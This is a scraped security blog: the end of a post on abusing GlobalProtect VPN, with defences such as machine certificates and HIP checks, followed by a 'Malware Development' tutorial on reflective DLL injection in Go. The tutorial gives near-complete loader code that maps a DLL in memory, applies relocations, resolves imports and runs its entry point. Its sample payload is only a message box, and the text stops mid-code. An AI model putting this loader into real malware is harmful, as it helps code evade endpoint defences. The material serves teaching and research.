[](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#defending-against-this-type-of-attack) Defending against this type of attack -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- There are a number of ways this attack could stop be stopped. * Use machine certificates for client authentication. * Make use of Host Information Profile (HIP) ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#machine-certificates) Machine Certificates When using machine certificates for authentication they are much harder to extract than user certificates. Machine Certs require Local / Domain Administrator privileges to extract. Although not impossible to get, it is considerably harder to achieve straight after getting foothold on the network. ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#host-information-profile-hip) [Host Information Profile (HIP)](https://live.paloaltonetworks.com/t5/blogs/leveraging-host-information-profile-hip/ba-p/291126) The Host Information Profile (HIP) feature allows you to collect information about the security status of your endpoints, and the decision is based on whether to allow or deny access to a specific host based on adherence to the host policies you define. HIP allows for granular checks on the endpoint. One example is to check the use of Anti-Malware solutions. A default windows installation would pass this check since Defender comes pre installed. Global Protect gives the administrator the option of specifying the following parameters for the Anti-Malware object. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F0nRLGzxKhiH3WUz5zCzA%252Fimage.png%3Falt%3Dmedia%26token%3D41dfd975-4fb8-49f6-8011-2cca5cb8df80&width=768&dpr=4&quality=100&sign=ea984e1d&sv=2) HIPS Anti-Malware Firstly we can set up the vendor and the product as shown below ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FHZYsuMxXrv0rhZzMmtMO%252Fimage.png%3Falt%3Dmedia%26token%3D8ef561a0-cbe5-4866-bc62-3ed8b8e8e328&width=768&dpr=4&quality=100&sign=2a25bc95&sv=2) Product and vendor We can then add additional checks such as the definitions being up to date, last scan was not greater than 10 days etc. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FUavfSmJVzUV08B8EWu15%252Fimage.png%3Falt%3Dmedia%26token%3D2c79a3b4-5b66-4d58-94af-58a9cc687c2e&width=768&dpr=4&quality=100&sign=23a5e73b&sv=2) Anti-Malware HIP Additional Checks regarding the host can be added as shown below: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FGBmLys11Gz9aWUs1hQAR%252Fimage.png%3Falt%3Dmedia%26token%3D90dec3f5-4dad-450b-b0b6-84f236d889b7&width=768&dpr=4&quality=100&sign=ff56e3c1&sv=2) Host information After setting up the HIP and applying it we receive the following pop up message from GlobalProtect. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FzDFvTECo9xjPXBTKMkOb%252Fimage.png%3Falt%3Dmedia%26token%3Dc7bc661a-84ea-4a6a-ab84-c4ebcd0245b2&width=768&dpr=4&quality=100&sign=4531683a&sv=2) HIP notification I have set up a notification to pop up when the HIP checks fail. In a real world environment a security policy should be set up to isolate the machine from the network. Ideally HIP policy should be as strict and granular as possible. That will make the life of an attacker very difficult if they are trying to match the target environment. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#conclusion) Conclusion -------------------------------------------------------------------------------------------------------------------------------------------------------- This technique is a viable solution to join an attacker controlled machine to a target network. In the references section I have listed all the articles / videos I have read to prepare my lab environment and test the attack scenario. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#references) References -------------------------------------------------------------------------------------------------------------------------------------------------------- \[1\] [Palo Alto GlobalProtect VPN Configuration Step by Step \[2023\]](https://youtu.be/Dj-rjuX9I_E?si=vvtkzawtsKhNicha) \[2\] [Palo Alto firewall lab using VMware Workstation](https://www.youtube.com/watch?v=fEz-5vzkCNk) \[3\] [How to Build an Active Directory Hacking Lab](https://www.youtube.com/watch?v=xftEuVQ7kY0) \[4\] [PA-VM Trial](https://www.paloaltonetworks.com/vm-series-trial) \[5\] [Setting up HIP](https://www.youtube.com/watch?v=XvRHu-OfF8I) \[6\] [PaloAlto with external CA](https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000PMyG) Last updated 2 years ago Was this helpful? --- # 2. Reflective DLL Injection | Malware Development Introduction Reflective DLL injection is one of the most common techniques used for loading code in memory. Most c2 frameworks are using some variation of this code to reflectively and dynamically load additional functionality ([meterpreter](https://docs.metasploit.com/docs/development/developing-modules/libraries/using-reflectivedll-injection.html) , [cobalt strike](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development) ). It is also common for these frameworks to provide SRDI functionality which is basically the same code as described in this article, turned into assembly and appended (or prepended) to the dll bytes. That provides more flexibility since the code could be handled the same way as any PIC shellcode. [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#background-knowledge) Background knowledge ---------------------------------------------------------------------------------------------------------------------------------------------------- In an ideal scenario we would load the dll in memory, and point execution to the entry point and that would be the end of it. Unfortunately, it's not that simple and quite a few steps are required before executing the dll. The code needs to be broken into 3 parts. ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-1.-raw-offsets-greater-than-rva) 1\. RAW offsets -> RVA When the dll is on disc the different sections are addressed with the raw offset but when the dll is in memory the different sections are addressed using the RVA. Let's take a look into the [section headers](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-table-section-headers) . Copy type IMAGE_SECTION_HEADER struct { Name [8]byte VirtualSize uint32 VirtualAddress uint32 SizeOfRawData uint32 PointerToRawData uint32 PointerToRelocations uint32 PointerToLinenumbers uint32 NumberOfRelocations uint16 NumberOfLinenumbers uint16 Characteristics uint32 } In this case we are particularly interested in lines 4,5 and 6. Let's see the definitions from Microsoft's documentation: #### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#virtualaddress) VirtualAddress For executable images, the address of the first byte of the section relative to the image base when the section is loaded into memory. For object files, this field is the address of the first byte before relocation is applied; for simplicity, compilers should set this to zero. Otherwise, it is an arbitrary value that is subtracted from offsets during relocation. #### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#sizeofrawdata) SizeOfRawData The size of the section (for object files) or the size of the initialized data on disk (for image files). For executable images, this must be a multiple of FileAlignment from the optional header. If this is less than VirtualSize, the remainder of the section is zero-filled. Because the SizeOfRawData field is rounded but the VirtualSize field is not, it is possible for SizeOfRawData to be greater than VirtualSize as well. When a section contains only uninitialized data, this field should be zero. #### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#pointertorawdata) PointerToRawData The file pointer to the first page of the section within the COFF file. For executable images, this must be a multiple of FileAlignment from the optional header. For object files, the value should be aligned on a 4-byte boundary for best performance. When a section contains only uninitialized data, this field should be zero. So in summary the PointerToRawData points to the data when the dll is at rest, the SizeOfRawData is the actual size of the data pointed to by the PointerToRawData and the VirtualAddress is the Relative address from the base address to be used during execution. When the dll is loaded in memory the image size expands and therefore any additional space will be filled with 0s. To better understand the above concepts we can take a look at PE bear for a visual representation of the dll on disk and in memory. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FTZK84nIgA5JvIa02sQXy%252Fimage.png%3Falt%3Dmedia%26token%3Db722c6f5-c545-4390-a304-e3486cb9a7e8&width=768&dpr=4&quality=100&sign=3998942d&sv=2) RAW vs Virtual The sections on the left represent the dll on disk while the data on the right represent the dll in memory. The grey padding in between sections is zero-filled. ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-2.-relocations) 2\. Relocations When a DLL is loaded into memory it's base address is the same as the Image Base address from the optional header right? Nope, Wrong. Ever since the introduction of the ASLR (dll base addresses are randomised by the OS) it is highly improbable for a dll to be loaded at its preferred address. We could try allocate the specific memory using VirtualAlloc, but it could potentially fail if the memory is already reserved. If we fail to allocate the preferred address the dll execution will fail since the compiler hardcodes addresses in the dll at compile time. Thankfully for us the hardcoded values are documented in the .reloc section of the executable. Let's have a quick look in the following c structures. Copy typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY We are interested in the PageAddress and the Offset. Adding these two should give us the RVA of the address that needs to be relocated. Let's go back to PE-Bear again in order to understand exactly what we are supposed to do. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FpzabEBAzdKOyYlxs8deb%252Fimage.png%3Falt%3Dmedia%26token%3Da33d3f0d-2f34-40ec-a395-fedf0cae6503&width=768&dpr=4&quality=100&sign=6a35b3b4&sv=2) Relocations We can see that we have a relocation at page with RVA 0x2000. The offset of the relocation is at 0x558. That gives us the relocation RVA of 0x2558 (0x2000+0x558). At the very top we can see the memory that has the value 40 25 40 AE 03. That is essentially an address pointer 0x03ae722540. From the optional header we can see that the preferred image Base of the DLL is 0x3ae720000. To get the correct value we need to perform the following calculation: 0x03ae722540 - 0x3ae720000 which will give us the RVA and add the new dll base address returned from VirtualAlloc. We then have to loop through all pages and modify all relocations for all pages. ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-3.-import-directory) 3\. Import Directory The last obstacle to executing the dll is to dynamically resolve the Import addresses and modify the IAT to include them. The answer in this [stackoverflow](https://stackoverflow.com/questions/32841368/whats-the-difference-between-the-import-table-import-adress-table-and-import) article provides a very good explanation of the process. Copy type IMAGE_IMPORT_DESCRIPTOR struct { Characteristics uint32 TimeDateStamp uint32 ForwarderChain uint32 Name uint32 FirstThunk uint32 } So in the .idata section we can find an array of IMAGE\_IMPORT\_DESCRIPTORS, one for each external dll requirement. This is how it looks in pe-bear. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fe9WMzjXezXZ5Fa4d670C%252Fimage.png%3Falt%3Dmedia%26token%3D9b55c173-b68f-44c2-b6e5-83815ef45fb1&width=768&dpr=4&quality=100&sign=bfee19bb&sv=2) IMAGE\_IMPORT\_DESCRIPTORs So what we are interested is the FirstThunk. That is an RVA pointing to an array of \_IMAGE\_THUNK\_DATA Copy typedef struct _IMAGE_THUNK_DATA { union { uint32_t* Function; // address of imported function uint32_t Ordinal; // ordinal value of function PIMAGE_IMPORT_BY_NAME AddressOfData; // RVA of imported name DWORD ForwarderStringl // RVA to forwarder string } u1; } IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA; When looking at the struct in memory we come across another RVA which essentially points to the name of the function. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FekRWYovnAwgsrnTPq8kl%252Fimage.png%3Falt%3Dmedia%26token%3D55d89e24-d2a7-4c7a-8eaa-7568db38f05b&width=768&dpr=4&quality=100&sign=a7f9e4ef&sv=2) Names of Imported functions So by navigating the IMAGE\_IMPORT\_DESCRIPTOR and the \_IMAGE\_THUNK\_DATA we can get the names (or ordinals) of the functions we need to import and add the memory addresses at the location of the first thunk and then increase by 8 bytes in a loop for all subsequent functions. The following image demonstrates how the end result will look like after the import addresses are written in the IAT: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FHZtCRWO3xJqpTgqnoyKY%252Fimage.png%3Falt%3Dmedia%26token%3Dad3eaf60-3218-40f7-a380-a9a5817787da&width=768&dpr=4&quality=100&sign=7ab01903&sv=2) [Import Directory Table](https://stackoverflow.com/questions/32841368/whats-the-difference-between-the-import-table-import-adress-table-and-import) [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#code-analysis) Code analysis -------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#dll-code) DLL code All this code does is to display a MessageBox when the dll is attached to a process. The only exported function is DllMain. To compile it simply run `gcc -shared -o mydll.dll dll.c` A compiled version of the dll can be find on my [github repo](https://github.com/scriptchildie/goDLLrefletiveloader/blob/main/reflectivedll/GoreflectiveLoader/mydll.dll) Copy #include #define DLLEXPORT __declspec( dllexport ) DLLEXPORT BOOL DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxA(NULL, "DLL PROCESS ATTACH", "Bingo!", 0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: default: break; } return TRUE; } ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-1.-read-dll-contents) 1\. Read DLL contents This can be modified so the bytes can be received from the internet, but for the sake of simplicity we just used the ReadFile function to read the contents of the dll in a byte slice. We then get a pointer to the first byte of the slice to use as the base address. Copy dllBytes, err := os.ReadFile("mydll.dll") if err != nil { log.Fatalf("Failed to open file %v", err) } dllPtr := uintptr(unsafe.Pointer(&dllBytes[0])) Once the dll is loaded to memory we can then go ahead and capture the contents of the PE headers. Copy type IMAGE_NT_HEADERS64 struct { Signature uint32 FileHeader IMAGE_FILE_HEADER OptionalHeader IMAGE_OPTIONAL_HEADER64 } // IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture. type IMAGE_OPTIONAL_HEADER64 struct { Magic uint16 MajorLinkerVersion uint8 MinorLinkerVersion uint8 SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory [16]IMAGE_DATA_DIRECTORY } // IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure. type IMAGE_FILE_HEADER struct { Machine uint16 NumberOfSections uint16 TimeDateStamp uint32 PointerToSymbolTable uint32 NumberOfSymbols uint32 SizeOfOptionalHeader uint16 Characteristics uint16 } The headers hold a lot of information that will be useful throughout our program. To cast the dll pointer to the above structure the following code is used: Copy e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c))) nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew))) From now on instead of having to read contents of the memory we can use this struct to get our desired values. ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-2.-allocate-memory-for-the-dll) 2\. Allocate memory for the dll As discussed in the previous section we will have to rearrange the layout of the dll to match the expected RVA offsets. In order to do that we will used VirtualAlloc Windows API. In order to to avoid having the highly suspicious RWX permissions we will first assign the RW permissions and then change the permissions of the .text section to RX. The allocated memory will have the size specified in the OptionalHeader. We also specify the desired address from the optional header. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary. Copy dllBase, err := windows.VirtualAlloc( uintptr(nt_header.OptionalHeader.ImageBase), uintptr(nt_header.OptionalHeader.SizeOfImage), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_EXECUTE_READWRITE, ) if err != nil { log.Fatalf("[!] VirtualAlloc Failed") } fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase) ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-3.-copy-the-dll-headers) 3\. Copy the DLL headers The first step is to copy the headers of the dll to our newlly allocated memory. The headers start from offset 0 and the size can be found in the optional header (SizeOfHeaders). Copy var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase, &dllBytes[0], uintptr(nt_header.OptionalHeader.SizeOfHeaders), &numberOfBytesWritten) if err != nil { log.Fatalf("[!] WriteProcessMemory Failed") } ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-4.-copy-the-dll-sections) 4\. Copy the DLL sections As [previously](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#1.-raw-offsets-greater-than-rva) mentioned, copying sections is not straight forward. We will have to turn RAW offsets to RVAs and fill the resulting memory gaps with zeros. Thankfully for us VirtualAlloc allocates a page of zeros therefore we only have to write the sections at the correct offset. Firstly we need to identify how many sections there are in our dll. The IMAGE\_FILE\_HEADER holds that value in the NumberOfSection variable. We then go ahead and calculate the address of our section headers. Copy numberOfSections := int(nt_header.FileHeader.NumberOfSections) var sectionAddr uintptr sectionAddr = dllPtr + uintptr(e_lfanew) + unsafe.Sizeof(nt_header.Signature) + unsafe.Sizeof(nt_header.OptionalHeader) + unsafe.Sizeof(nt_header.FileHeader) We then create a for loop to read the section header entries and copy each section to the right location. Firstly we have to define the IMAGE\_SECTION\_HEADER struct Copy type IMAGE_SECTION_HEADER struct { Name [8]byte VirtualSize uint32 VirtualAddress uint32 SizeOfRawData uint32 PointerToRawData uint32 PointerToRelocations uint32 PointerToLinenumbers uint32 NumberOfRelocations uint16 NumberOfLinenumbers uint16 Characteristics uint32 } Copy for i := 0; i < numberOfSections; i++ { section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr)) sectionDestination := dllBase + uintptr(section.VirtualAddress) sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData))) fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:])) err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten) if err != nil { log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err) } fmt.Printf(" ... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten) if windows.ByteSliceToString(section.Name[:]) == ".text" { var oldprotect uint32 err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect) if err != nil { log.Fatalln("[ERROR] Failed to change memory permissions") } } sectionAddr += unsafe.Sizeof(*section) } fmt.Println() Line 2: We then cast the section address to the IMAGE\_SECTION\_HEADER Line 3: We identify the section destination by adding the dllBase returned by VirtualAlloc and adding the section.VirtualAddress. Line 4: We take the source bytes for the byte slice base address and by adding the section.PointerToRawData. Line 7: We write the bytes to memory. The size comes from the section header (SizeOfRawData) Line 13: We check if the last section written to memory is .text. If that's the case we use VirtualProtect to change the permissions to RX. ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-5.-relocations) 5\. Relocations With all the dll data now copied in the target address we now have to modify the hardcoded addresses in memory. Firstly we define the following constant to make our code more readable Copy IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5 We then go ahead and calculate the address of the reolcation\_table and also calculate the value we need to add to our current hardcoded addresses. Copy relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] relocation_table := uintptr(relocations.VirtualAddress) + dllBase fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table) var relocations_processed int = 0 deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase) A few nested loops are used in order to capture the relocation blocks and the base relocation entries. Before we get into the code let's define a few structures first and a few helper functions. Copy type BASE_RELOCATION_BLOCK struct { PageAddress uint32 BlockSize uint32 } // BASE_RELOCATION_ENTRY represents the base relocation entry structure type BASE_RELOCATION_ENTRY struct { OffsetType uint16 // Combined field for Offset and Type } // Offset extracts the Offset from the combined field func (bre BASE_RELOCATION_ENTRY) Offset() uint16 { return bre.OffsetType & 0xFFF } // Type extracts the Type from the combined field func (bre BASE_RELOCATION_ENTRY) Type() uint16 { return (bre.OffsetType >> 12) & 0xF } The BASE\_RELOCATION\_ENTRY is not defined the same way it would in C (see below). Since we don't have bit level control to define the last 4 bits we go ahead and combine the two values in a sturct and use the Offset() and Type() helper functions to extract the desired values. Copy typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; From the above we only need the PageAddress and Offset to find the RVA of the relocations. Let's dive into the code to see how we can achieve it. Copy for { relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed)))) relocEntry := relocation_table + uintptr(relocations_processed) + 8 if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 { break } relocationsCount := (relocation_block.BlockSize - 8) / 2 fmt.Printf("[+] PAGERVA : 0x%04x Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount) relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount) for i := 0; i < int(relocationsCount); i++ { relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2))) } for _, relocationEntry := range relocationEntries { if relocationEntry.Type() == 0 { continue } fmt.Printf(" --> Value: %X Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset()) var size uintptr byteSlice := make([]byte, unsafe.Sizeof(size)) relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset()) err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil) if err != nil { log.Fatalf("[ERROR] Failed to ReadProcessMemory") } addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice)) addressToPatch += deltaImageBase a2Patch := uintptrToBytes(addressToPatch) err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil) if err != nil { log.Fatalf("[ERROR] Failed to WriteProcessMemory") } } relocations_processed += int(relocation_block.BlockSize) } Line 3: Calculates the address of the first relocation block Line 4: Calculates the address of the first relocation entry Line 8: Calculates how many relocations entries in the block Line 11-15 : Creates a slice of BASE\_RELOCATION\_ENTRY and fills it in from the data on memory Line 16: Loops through the contents of the slice Line 23: Calculates the relocationRVA Line 25: Reads the contents of the memory from memory Line 29-31: Turns the byte slice to uintptr, Calculates the new address and turn it back to byte slice Line 32-35: Writes the new address back to memory ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-6.-imports) 6\. Imports The last piece of the puzzle is to fill in the addresses of the imported functions in IAT. Similarly with the relocations section, we have to find the address of our section from the import header. Let's define our constant for the Data Directory index Copy IMAGE_DIRECTORY_ENTRY_IMPORT = 0x1 Also the Image Import Descriptor struct has to be defined Copy type IMAGE_IMPORT_DESCRIPTOR struct { Characteristics uint32 TimeDateStamp uint32 ForwarderChain uint32 Name uint32 FirstThunk uint32 } We then go ahead and calculate the address from the RVA Copy importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress) fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr) Similarly to the previous section we start looping through the import descriptors Copy for { importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr)) if importDescriptor.Name == 0 { break } libraryName := uintptr(importDescriptor.Name) + dllBase dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName))) fmt.Printf("[+] Importing DLL : %s\n", dllName) hLibrary, err := windows.LoadLibrary(dllName) if err != nil { log.Fatalln("[ERROR] LoadLibrary Failed") } addr := dllBase + uintptr(importDescriptor.FirstThunk) for { thunk := *(*uint16)(unsafe.Pointer(addr)) if thunk == 0 { break } functionNameAddr := dllBase + uintptr(thunk+2) functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr))) proc, err := windows.GetProcAddress(hLibrary, functionName) if err != nil { log.Fatalln("[ERROR] Failed to GetProcAddress") } fmt.Printf(" --> Importing Function %s -> Addr: 0x%x\n", functionName, proc) procBytes := uintptrToBytes(proc) // https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten) if err != nil { log.Fatalln("[ERROR] Failed to WriteProcessMemory") } addr += 0x8 } importDescriptorAddr += 0x14 } Line 2: Casting the pointer to IMAGE\_IMPORT\_DESCRIPTOR Lines 6-8: Get the name of the dll to load. We can get the DLL name RVA from the importDescriptor.Name. We then get the name from the byte pointer located in the RVA. Lines 9-12: Load the dll using windows API LoadLibrary Line 13: Points to the thunk of the first imported function Line 16: We then read the first 2 bytes to get the RVA to the Hint/Name of the function Lines 20: We add 2 to the RVA to skip the hint and point directly to the Name bytes ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fq2Jj2mZNG1GrCspVLyVG%252Fimage.png%3Falt%3Dmedia%26token%3De96adc9f-af20-4df9-bbf8-b9880824e988&width=768&dpr=4&quality=100&sign=dfb03a5f&sv=2) Line 22: Get the Name of the function Lines 23-27: Get the address of the function using the GetProcAddress API Line 28: Turn the uintptr to a byte slice to be used in WriteProcessMemory Lines 30-34: Overwrite the contents of the thunk with the address of the function. Line 35: Adds 0x8 bytes to jump to the next thunk Line 38: Adds 0x14 bytes to jump to the next image descriptor ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-7.-execution) 7\. Execution With everything in place we can now use the SyscallN function to execute our code. We first define the DLL\_PROCESS\_ATTACH constant Copy DLL_PROCESS_ATTACH = 0x1 Copy syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0) fmt.Println("[+] DLL function executed") err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE) if err != nil { log.Fatalln("[ERROR] Failed to Free Memory") } fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase) Lines 1-4: We run the SyscallN function. * The first argument is the address to be executed in our case the entry point of the DLL, In the future we can go through the exports table and run any exported function * We then have to provide the base address of the dll * We then have to define the DLL\_PROCESS\_ATTACH in order to execute Line 6: We perform some clean up actions after we are done executing the dll ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FetoHYx20fo0vnhRacAUN%252Fimage.png%3Falt%3Dmedia%26token%3D4bdba8e0-7650-433a-963c-01b9baf4f13b&width=768&dpr=4&quality=100&sign=643d1195&sv=2) DLL executed successfully [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#complete-code) Complete Code -------------------------------------------------------------------------------------------------------------------------------------- Copy package main import ( "encoding/binary" "fmt" "log" "os" "syscall" "unsafe" "golang.org/x/sys/windows" ) type IMAGE_NT_HEADERS64 struct { Signature uint32 FileHeader 